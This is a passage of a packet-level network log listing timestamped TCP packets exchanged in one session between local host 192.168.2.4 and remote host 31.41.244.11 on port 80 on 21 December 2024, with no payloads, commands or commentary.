Dec 21, 2024 10:15:18.252823114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.252882004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.252939939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.252990007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.253988981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.254101038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.254185915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.254239082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.255167007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.255222082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.255281925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.255558968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.256443024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.256511927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.256545067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.256593943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.257643938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.257719994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.257766962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.257828951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.258824110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.258889914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.258919954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.259000063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.260102034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.260138988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.260153055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.260204077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.261192083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.261248112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.261321068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.261372089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.262476921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.262531042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.262573957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.262615919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.263665915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.263724089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.263730049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.263778925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.264797926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.264846087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.264931917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.264990091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.265976906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.266027927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.266067982 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.266122103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.267256021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.267271996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.267338991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.267338991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.268381119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.268477917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.268548965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.269731998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.269793987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.269848108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.270807028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.270889044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.270930052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.270977020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.272092104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.272150993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.272207022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.273219109 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.273277044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.273400068 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.273590088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.274476051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.274529934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.274570942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.274616957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.275628090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.275686979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.275743008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.275799036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.277434111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.277586937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.277647972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.278081894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.278143883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.278155088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.278259039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.279288054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.279361963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.279386044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.279434919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.280458927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.280535936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.280572891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.280630112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.281652927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.281713009 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.281796932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.281853914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.282861948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.282959938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.282980919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.283111095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.284077883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.284141064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.284415007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.284480095 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.285288095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.285366058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.285383940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.285552979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.286459923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.286521912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.415359020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.415426970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.415489912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.415545940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.415858030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.416033030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.416197062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.417156935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.417226076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.417274952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.417330980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.418255091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.418318987 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.418370962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.418441057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.419498920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.419552088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.419553041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.419635057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.420705080 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.420757055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.420763016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.420926094 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.421909094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.421967983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.422038078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.422096968 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.423024893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.423084974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.423110962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.423167944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.424185991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.424302101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.424362898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.424438000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.425403118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.425525904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.425604105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.426644087 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.426695108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.426708937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.426840067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.427812099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.427872896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.427934885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.427993059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.428980112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.429040909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.429100037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.429155111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.430107117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.430166006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.430260897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.430319071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.431354046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.431425095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.431485891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.432521105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.432581902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.432657957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.432727098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.433717966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.433770895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.433774948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.433841944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.434870005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.434942961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.435012102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.435069084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.436054945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.436115026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.436247110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.436300993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.437244892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.437309027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.437366009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.437422991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.438417912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.438481092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.438550949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.438703060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.439641953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.439709902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.439749002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.439820051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.440897942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.440952063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.440957069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.441020012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.442070961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.442126036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.442137957 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.442207098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.443192005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.443348885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.443353891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.443542004 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.444391966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.444503069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.444538116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.444617033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.445590973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.445653915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.445729017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.445791960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.446800947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.446868896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.446871042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.446938992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.447940111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.447994947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.448080063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.448131084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.449163914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.449321032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.449381113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.450329065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.450395107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.450428009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.450495005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.451509953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.451574087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.451648951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.451709032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.452725887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.452840090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.452902079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.453943014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.453978062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.453998089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.454107046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.455097914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.455246925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.455291033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.455352068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.456362009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.456461906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.456474066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.456588984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.457655907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.457715988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.457844019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.457973003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.458841085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.459019899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.459081888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.459891081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.459964991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.459985971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.460041046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.461030960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.461083889 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.461124897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.461221933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.462249041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.462312937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.462346077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.462443113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.463412046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.463474035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.463542938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.463601112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.464683056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.464746952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.464786053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.464945078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.466003895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.466069937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.466100931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.466181993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.467094898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.467252970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.467267990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.467328072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.468364000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.468420982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.468453884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.468504906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.469402075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.469466925 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.469494104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.469598055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.470552921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.470616102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.470753908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.470890999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.471739054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.471800089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.471828938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.471906900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.472903967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.472965002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.473056078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.473164082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.474087954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.474147081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.474188089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.474246025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.475348949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.475446939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.475450039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.475625038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.476612091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.476646900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.476674080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.476703882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.477623940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.477683067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.607497931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.607541084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.607575893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.607605934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.608026981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.608086109 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.608302116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.608356953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.609329939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.609441996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.609472990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.609565973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.610501051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.610564947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.610610008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.610668898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.611598969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.611656904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.611680031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.611737967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.612811089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.612890959 CET	49781	80	192.168.2.4	31.41.244.11
